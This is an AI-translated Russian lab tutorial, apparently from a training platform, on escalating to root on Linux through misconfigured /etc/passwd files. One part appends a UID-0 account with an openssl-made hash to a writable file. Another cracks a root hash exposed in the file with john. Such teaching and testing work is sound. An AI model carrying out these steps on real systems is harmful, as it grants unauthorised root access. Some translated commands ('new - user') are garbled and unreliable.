Изучение повышения привилегий через файл /etc/passwd в Nmap

Beginner

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

Файлы /etc/passwd и /etc/shadow являются важными для аутентификации пользователей в системах Linux. Если системные администраторы неправильно настроят содержимое или права доступа к этим файлам, это может привести к уязвимостям, позволяющим повысить привилегии. В этом лабораторном занятии (Lab) мы рассмотрим методы повышения привилегий с использованием файла /etc/passwd.


Skills Graph

Понимание файла /etc/passwd

На этом шаге мы рассмотрим структуру и смысл файла /etc/passwd.

В системах Linux информация о паролях пользователей хранится в двух файлах: /etc/passwd и /etc/shadow. Файл /etc/passwd содержит информацию о пользователях, при этом каждая строка представляет отдельную учетную запись пользователя. Каждая строка разделена на семь полей, разделенных двоеточием:

  • Имя пользователя (Username)
  • Пароль (если установлено значение x, пароль хранится в файле /etc/shadow)
  • Идентификатор пользователя (User ID, UID; для пользователя root значение равно 0)
  • Идентификатор группы (Group ID, GID)
  • Информация о пользователе (Полное имя, номер комнаты, рабочий телефон, домашний телефон и прочее)
  • Домашний каталог (Home directory)
  • Стандартная оболочка (Default shell)

Теперь откройте терминал и перейдите в каталог /home/labex/project, чтобы перейти к следующему шагу.

cd /home/labex/project

Получите информацию о пользователе labex из файла /etc/passwd и сохраните ее в файл с именем labex_passwd.txt в каталоге /home/labex/project.

grep labex /etc/passwd > /home/labex/project/labex_passwd.txt

Проверьте содержимое файла labex_passwd.txt.

cat labex_passwd.txt

Ожидаемый вывод:

labex:x:5000:5000::/home/labex:/usr/bin/zsh

Вот что представляет каждое поле:

  • Имя пользователя: test - user
  • Пароль: хранится в файле /etc/shadow (указано значением x)
  • UID: 5000
  • GID: 5000
  • Информация о пользователе: в данном случае пусто
  • Домашний каталог: /home/labex
  • Стандартная оболочка: /usr/bin/zsh

Во время процесса аутентификации в Linux происходят следующие шаги:

  1. Введенное имя пользователя сравнивается с первым полем в каждой строке файла /etc/passwd.
  2. Если совпадение найдено, сравнивается пароль во втором поле.
  3. При успешной аутентификации права доступа пользователя определяются UID (третье поле) и GID (четвертое поле).
  4. Важно отметить, что UID, равный 0, представляет пользователя root, предоставляя полные административные привилегии, независимо от имени пользователя.

Как вы можете видеть, файл /etc/passwd играет важную роль в процессе аутентификации в Linux. Если злоумышленник может изменить этот файл, он может получить несанкционированный доступ и повысить свои привилегии.

Повышение привилегий через /etc/passwd (разрешение на запись)

На этом шаге мы научимся повышать привилегии, используя разрешение на запись в файл /etc/passwd.

  1. Сначала настроим лабораторную среду. Откройте терминал и перейдите в каталог /home/labex/project:

    cd /home/labex/project

    Выполните следующую команду для настройки лабораторной среды:

    ./env_setup1.sh

    Эта команда выполнит скрипт, который настроит лабораторную среду. Вы должны увидеть вывод, указывающий, что среда готова.

  2. После настройки вы войдете в систему как пользователь user001, имитируя первоначальный доступ к оболочке, полученный во время пентест (проверки на проникновение).

    Перейдите в домашний каталог пользователя user001:

    cd ~

    Используйте команду whoami, чтобы проверить текущего пользователя:

    whoami

    Ожидаемый вывод:

    user001

    Используйте команду id, чтобы просмотреть идентификаторы пользователя и группы:

    id

    Ожидаемый вывод:

    uid=1001(user001) gid=1001(user001) groups=1001(user001)

    Как вы можете видеть, вы являетесь обычным пользователем без специальных привилегий.

  3. Затем проверьте права доступа к файлам /etc/passwd и /etc/shadow:

    ls -l /etc/passwd /etc/shadow

    Ожидаемый вывод:

    --wx--xrwx 1 root root    1961 Apr  5 00:21 /etc/passwd
    -rw-r----- 1 root user001 1101 Apr  5 00:21 /etc/shadow

    Обратите внимание, что файл /etc/passwd имеет права на выполнение и запись для всех пользователей (--wx--xrwx), что является неправильной настройкой со стороны системного администратора.

Наша цель - создать новую запись пользователя в файле /etc/passwd с произвольным именем пользователя, паролем и UID, равным 0 (root). Это позволит нам войти в систему как пользователь root.

  1. Сначала изучим формат записи пользователя root в файле /etc/passwd, скопировав ее в новый файл с именем new_user_entry.txt:

    cat /etc/passwd | grep root > new_user_entry.txt

    Ожидаемый вывод при использовании команды cat для просмотра содержимого файла new_user_entry.txt:

    root:x:0:0:root:/root:/bin/bash
  2. Чтобы создать свою запись, измените имя пользователя с root на любое желаемое, например, new - user в файле new_user_entry.txt:

    new - user:x:0:0:root:/root:/bin/bash
  3. Замените x во втором поле на зашифрованный хеш пароля. Мы можем использовать инструмент openssl для генерации хеша для пароля (например, pass123):

    openssl passwd -1 -salt ignite pass123

    Ожидаемый вывод:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1

    Заменим хеш во втором поле в файле new_user_entry.txt:

    new - user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  4. Теперь добавим эту строку в файл /etc/passwd:

    echo "$(cat new_user_entry.txt)" >> /etc/passwd

    Примечание: Мы можем добавить новую запись в файл /etc/passwd, так как он имеет права на запись для всех пользователей. В реальной жизни этот файл не должен иметь прав на запись для обычных пользователей.

  5. Проверим новую запись, выполнив поиск new - user в файле /etc/passwd:

    cat /etc/passwd | grep new - user

    Ожидаемый вывод:

    new - user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  6. Наконец, переключимся на пользователя new - user с паролем pass123:

    su new - user

    Введите пароль pass123 при запросе. Теперь у вас должны быть привилегии root, что подтверждается изменением приглашения командной строки:

    user001@660ecfa4d7612c798ef141ab:~$ su new - user
    Password:
    root@660ecfa4d7612c798ef141ab:/home/user001#

Повышение привилегий через /etc/passwd (хеш пароля)

На этом шаге мы научимся повышать привилегии, когда хеш пароля пользователя root хранится в файле /etc/passwd, а не в файле /etc/shadow.

  1. Сначала настроим лабораторную среду. Откройте терминал и перейдите в каталог /home/labex/project:

    Если вы все еще находитесь под пользователем new - user, вы можете использовать команду exit, чтобы выйти из текущей оболочки до тех пор, пока не вернетесь к оболочке labex, а затем перейти в каталог /home/labex/project:

    cd /home/labex/project

    Выполните следующую команду для настройки лабораторной среды:

    ./env_setup2.sh

    Эта команда выполнит скрипт, который настроит лабораторную среду. Вы должны увидеть вывод, указывающий, что среда готова.

  2. После настройки вы войдете в систему как пользователь user001, имитируя первоначальный доступ к оболочке, полученный во время пентест (проверки на проникновение).

    Перейдите в домашний каталог пользователя user001:

    cd ~
  3. Проверьте права доступа к файлам /etc/passwd и /etc/shadow:

    ls -l /etc/passwd /etc/shadow
    -rw-r--r-- 1 root root 2059 Apr  5 01:36 /etc/passwd
    -rw-r----- 1 root root 1101 Apr  5 00:21 /etc/shadow

    На этот раз права доступа к файлам настроены корректно, и у вас есть только доступ на чтение к файлу /etc/passwd.

  4. Просмотрите содержимое файла /etc/passwd, чтобы найти хеш пароля пользователя root:

    cat /etc/passwd | grep ^root > ~/hash.txt

    Проверьте содержимое файла hash.txt, выполнив следующую команду:

    cat ~/hash.txt

    Ожидаемый вывод:

    root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash

    Обратите внимание, что хеш пароля пользователя root хранится во втором поле файла /etc/passwd. Это обычно является результатом предыдущего взлома системы или неправильной настройки со стороны системного администратора.

  5. Теперь запустите john для взлома хеша:

    john ~/hash.txt > ~/cracked.txt

    john - это популярный инструмент для взлома паролей, который использует словарные атаки для взлома хешей паролей. Вывод будет указывать, был ли пароль успешно взломан.

    Created directory: /home/user001/.john
    Will run 2 OpenMP threads
    Press 'q' or Ctrl - C to abort, almost any other key for status
    1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    Проверьте содержимое файла cracked.txt, чтобы просмотреть взломанный пароль:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    hello            (root)

    Как вы можете видеть, john успешно взломал пароль, который равен hello.

  6. Используйте команду su, чтобы переключиться на пользователя root, введя взломанный пароль при запросе:

    su root

    Введите пароль hello при запросе. Теперь у вас должны быть привилегии root, что подтверждается изменением приглашения командной строки.

    user001@660ecfa4d7612c798ef141ab:~$ su root
    Password:
    root@660ecfa4d7612c798ef141ab:/home/user001#

Итог

В этом лабораторном занятии мы изучили процесс аутентификации пользователей в Linux, значение файла /etc/passwd и способы его эксплойта для повышения привилегий. Мы рассмотрели два сценария: (1) когда файл /etc/passwd имеет права на запись, что позволяет создать новую запись пользователя с привилегиями root, и (2) когда хеш пароля пользователя root хранится в файле /etc/passwd, что позволяет взломать пароль с использованием инструмента john. В результате практических занятий мы получили более глубокое понимание того, как использовать неправильные настройки файла /etc/passwd для повышения привилегий в системе Linux.